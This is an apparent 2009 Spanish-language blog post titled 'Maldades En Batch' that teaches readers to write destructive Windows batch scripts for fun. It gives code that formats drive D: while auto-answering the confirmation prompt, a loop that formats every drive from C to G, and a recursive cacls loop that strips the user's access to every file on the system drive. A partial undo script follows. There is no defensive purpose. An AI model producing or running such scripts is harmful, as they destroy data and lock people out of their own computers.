. Con la tecnología de Blogger.

sábado, 22 de agosto de 2009

Maldades En Batch :P

bueno no se.. esaba aburrido y dije.. por que no ?
bueno , pero primero no voy a poner codigos muy kemados... si no.. de que serviria xD

bueno arranco para mostrar que los "grandes" virus en batch.. y digo Grandes ironicamente..
casi todos kieren formaear la unidad C:\ WTF... no se puede... no me creen ?
jaja.. el format solo puede formatear unidades que no esten en uso , por ejemplo unidades extraibles u otras particiones...
ahora me pregunto no... por que no jugar un poco... :P
sabemos que C: o mejor dicho %homedrive% no lovamos a poder formatear.. vamos a darle a otro :P

D: x ejemplo..pero hai otro problema.... aver...

@echo off
format D: /q
el problema es que....

jojojo....
pide confirmacion... no keremos que pida :P
vamos a darle un...

@echo off
echo S|format D: /q
y no nos va a pedir confirmacion...
tambien podriamos usar wmic para buscar otras unidades o algo mas sencillo

@echo off
For %%x in (C,D,E,F,G) Do (
if exist %%x: (
echo s|format %%x: /q
)
)
no lo comprobe este codigo.. pero segun YO... deberia funcionar , jajjajaja

una opcion muy buena es implementar cacls
su sintaxys seria

CACLS archivo [/T] [/E] [/C] [/G usuario:perm] [/R usuario [...]]

lo podemos usar para "ocultar" archivos.. op rotegerlos , pero miren esta sinaxys..
pondo un archivo "asd.txt" sobre el escritorio... cosa que hago un bat que sea...

@echo off
cacls asd.txt /P %username%:n
pause

nos pide confirmacion tambien xD...
pero nos deniega el acceso al archivo asd.txtjajaj... bueno como pide confirmacion.. sabemos que si ponemos echo S| la podemos saltar...
ahora... se pone

echo S|
ó
echo Y|

segunel idioma del sistema operativo.. como sacarlo en batch ?
facil xD
pregunten si existe la carpeta Administrador ó Administrator,,,

ahora que pasaria si leyeramos todos los archivos del disco y les kitaramos permisos ?
jajajja seria pro no xD
@echo off
cd %homedrive%
For /r %%x in ( * ) Do
(
echo S| cacls "%%x" /P %username%:n
)
jajajja
que feo debe ser ejecutar eso...
guarda que tiene cura si

@echo off
cd %homedrive%
For /r %%x in ( * ) Do
(
echo S| cacls "%%x" /P %username%:F
)
ahora me aburri...
dense manija y usen la originalidad si van a hacer algo en batch.. xD

By Me
saludos

0 comentarios: